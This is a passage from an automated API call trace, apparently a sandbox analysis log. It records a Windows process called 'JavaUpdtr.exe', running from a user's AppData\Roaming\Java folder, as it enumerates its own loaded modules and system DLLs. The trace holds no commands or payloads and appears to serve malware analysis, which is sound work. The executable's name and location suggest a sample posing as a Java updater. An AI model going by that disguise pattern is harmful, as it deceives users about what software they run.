hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x275e868, cb=0xc | out: lpmodinfo=0x275e868*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.503] GetLastError () returned 0x1e7 [0116.503] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.504] GetLastError () returned 0x1e7 [0116.504] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.504] GetLastError () returned 0x1e7 [0116.504] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x275f9a0, cb=0xc | out: lpmodinfo=0x275f9a0*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.505] GetLastError () returned 0x1e7 [0116.505] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.505] GetLastError () returned 0x1e7 [0116.505] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.506] GetLastError () returned 0x1e7 [0116.506] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x2760b34, cb=0xc | out: lpmodinfo=0x2760b34*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.506] GetLastError () returned 0x1e7 [0116.506] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.507] GetLastError () returned 0x1e7 [0116.507] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.507] GetLastError () returned 0x1e7 [0116.507] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x2761c30, cb=0xc | out: lpmodinfo=0x2761c30*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.508] GetLastError () returned 0x1e7 [0116.508] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.508] GetLastError () returned 0x1e7 [0116.508] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.509] GetLastError () returned 0x1e7 [0116.509] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x2762d24, cb=0xc | out: lpmodinfo=0x2762d24*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.509] GetLastError () returned 0x1e7 [0116.509] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.510] GetLastError () returned 0x1e7 [0116.510] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.517] GetLastError () returned 0x1e7 [0116.518] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x2763e20, cb=0xc | out: lpmodinfo=0x2763e20*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.518] GetLastError () returned 0x1e7 [0116.519] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.519] GetLastError () returned 0x1e7 [0116.519] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.520] GetLastError () returned 0x1e7 [0116.520] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x2764fb8, cb=0xc | out: lpmodinfo=0x2764fb8*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.520] GetLastError () returned 0x1e7 [0116.520] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.521] GetLastError () returned 0x1e7 [0116.521] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.521] GetLastError () returned 0x1e7 [0116.521] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x27660b4, cb=0xc | out: lpmodinfo=0x27660b4*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.522] GetLastError () returned 0x1e7 [0116.522] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.522] GetLastError () returned 0x1e7 [0116.522] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.523] GetLastError () returned 0x1e7 [0116.523] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x27671ec, cb=0xc | out: lpmodinfo=0x27671ec*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.524] GetLastError () returned 0x1e7 [0116.524] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.524] GetLastError () returned 0x1e7 [0116.524] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.525] GetLastError () returned 0x1e7 [0116.525] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x2768378, cb=0xc | out: lpmodinfo=0x2768378*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.525] GetLastError () returned 0x1e7 [0116.525] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.526] GetLastError () returned 0x1e7 [0116.526] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.527] GetLastError () returned 0x1e7 [0116.527] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x2769534, cb=0xc | out: lpmodinfo=0x2769534*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.527] GetLastError () returned 0x1e7 [0116.527] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.528] GetLastError () returned 0x1e7 [0116.528] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.528] GetLastError () returned 0x1e7 [0116.529] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x276a718, cb=0xc | out: lpmodinfo=0x276a718*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.529] GetLastError () returned 0x1e7 [0116.529] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.530] GetLastError () returned 0x1e7 [0116.530] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.530] GetLastError () returned 0x1e7 [0116.530] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x276b8b8, cb=0xc | out: lpmodinfo=0x276b8b8*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.531] GetLastError () returned 0x1e7 [0116.531] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.532] GetLastError () returned 0x1e7 [0116.532] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.532] GetLastError () returned 0x1e7 [0116.532] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x276cadc, cb=0xc | out: lpmodinfo=0x276cadc*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.533] GetLastError () returned 0x1e7 [0116.533] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.534] GetLastError () returned 0x1e7 [0116.534] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.534] GetLastError () returned 0x1e7 [0116.535] CloseHandle (hObject=0x20c) returned 1 [0116.535] GetLastError () returned 0x1e7 [0116.540] GetCurrentProcessId () returned 0x4e8 [0116.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x20c [0116.540] GetLastError () returned 0x1e7 [0116.540] EnumProcessModules (in: hProcess=0x20c, lphModule=0x281ec50, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x281ec50, lpcbNeeded=0x31c9a8) returned 1 [0116.541] GetLastError () returned 0x1e7 [0116.541] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x281ed90, cb=0xc | out: lpmodinfo=0x281ed90*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.541] GetLastError () returned 0x1e7 [0116.541] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.541] GetLastError () returned 0x1e7 [0116.542] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.542] GetLastError () returned 0x1e7 [0116.542] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x281fef4, cb=0xc | out: lpmodinfo=0x281fef4*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.542] GetLastError () returned 0x1e7 [0116.542] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.542] GetLastError () returned 0x1e7 [0116.542] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.542] GetLastError () returned 0x1e7 [0116.542] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x2820fe8, cb=0xc | out: lpmodinfo=0x2820fe8*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.543] GetLastError () returned 0x1e7 [0116.543] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.543] GetLastError () returned 0x1e7 [0116.543] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.543] GetLastError () returned 0x1e7 [0116.543] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x28220e4, cb=0xc | out: lpmodinfo=0x28220e4*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.543] GetLastError () returned 0x1e7 [0116.543] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.544] GetLastError () returned 0x1e7 [0116.544] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.544] GetLastError () returned 0x1e7 [0116.544] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x28231e8, cb=0xc | out: lpmodinfo=0x28231e8*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.544] GetLastError () returned 0x1e7 [0116.544] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.544] GetLastError () returned 0x1e7 [0116.544] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.545] GetLastError () returned 0x1e7 [0116.545] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x2824324, cb=0xc | out: lpmodinfo=0x2824324*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.545] GetLastError () returned 0x1e7 [0116.545] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.545] GetLastError () returned 0x1e7 [0116.545] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.546] GetLastError () returned 0x1e7 [0116.546] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x2825428, cb=0xc | out: lpmodinfo=0x2825428*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.546] GetLastError () returned 0x1e7 [0116.546] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.546] GetLastError () returned 0x1e7 [0116.546] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.546] GetLastError () returned 0x1e7 [0116.547] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x2826524, cb=0xc | out: lpmodinfo=0x2826524*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.547] GetLastError () returned 0x1e7 [0116.547] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.547] GetLastError () returned 0x1e7 [0116.547] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.547] GetLastError () returned 0x1e7 [0116.547] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x2827620, cb=0xc | out: lpmodinfo=0x2827620*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.548] GetLastError () returned 0x1e7 [0116.548] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.548] GetLastError () returned 0x1e7 [0116.548] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.548] GetLastError () returned 0x1e7 [0116.548] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x282876c, cb=0xc | out: lpmodinfo=0x282876c*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.549] GetLastError () returned 0x1e7 [0116.549] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.549] GetLastError () returned 0x1e7 [0116.549] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.549] GetLastError () returned 0x1e7 [0116.549] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x2829868, cb=0xc | out: lpmodinfo=0x2829868*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.550] GetLastError () returned 0x1e7 [0116.550] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.550] GetLastError () returned 0x1e7 [0116.550] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.550] GetLastError () returned 0x1e7 [0116.551] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x282a96c, cb=0xc | out: lpmodinfo=0x282a96c*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.551] GetLastError () returned 0x1e7 [0116.551] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.551] GetLastError () returned 0x1e7 [0116.551] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.552] GetLastError () returned 0x1e7 [0116.552] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x282baa4, cb=0xc | out: lpmodinfo=0x282baa4*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.552] GetLastError () returned 0x1e7 [0116.552] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.552] GetLastError () returned 0x1e7 [0116.552] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.553] GetLastError () returned 0x1e7 [0116.553] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x282cba0, cb=0xc | out: lpmodinfo=0x282cba0*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.553] GetLastError () returned 0x1e7 [0116.553] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.554] GetLastError () returned 0x1e7 [0116.554] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.554] GetLastError () returned 0x1e7 [0116.554] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x282dc94, cb=0xc | out: lpmodinfo=0x282dc94*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.554] GetLastError () returned 0x1e7 [0116.554] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.555] GetLastError () returned 0x1e7 [0116.555] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.555] GetLastError () returned 0x1e7 [0116.555] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x282ed90, cb=0xc | out: lpmodinfo=0x282ed90*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.556] GetLastError () returned 0x1e7 [0116.556] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.556] GetLastError () returned 0x1e7 [0116.556] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.556] GetLastError () returned 0x1e7 [0116.556] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x282fe7c, cb=0xc | out: lpmodinfo=0x282fe7c*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.557] GetLastError () returned 0x1e7 [0116.557] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.557] GetLastError () returned 0x1e7 [0116.562] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.562] GetLastError () returned 0x1e7 [0116.562] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x2635398, cb=0xc | out: lpmodinfo=0x2635398*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.562] GetLastError () returned 0x1e7 [0116.562] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.563] GetLastError () returned 0x1e7 [0116.563] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.563] GetLastError () returned 0x1e7 [0116.563] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x263648c, cb=0xc | out: lpmodinfo=0x263648c*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.564] GetLastError () returned 0x1e7 [0116.564] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.564] GetLastError () returned 0x1e7 [0116.564] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.565] GetLastError () returned 0x1e7 [0116.565] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x2637580, cb=0xc | out: lpmodinfo=0x2637580*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.565] GetLastError () returned 0x1e7 [0116.565] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.566] GetLastError () returned 0x1e7 [0116.566] GetModuleFileNameExW (in: hProcess=0x20c, 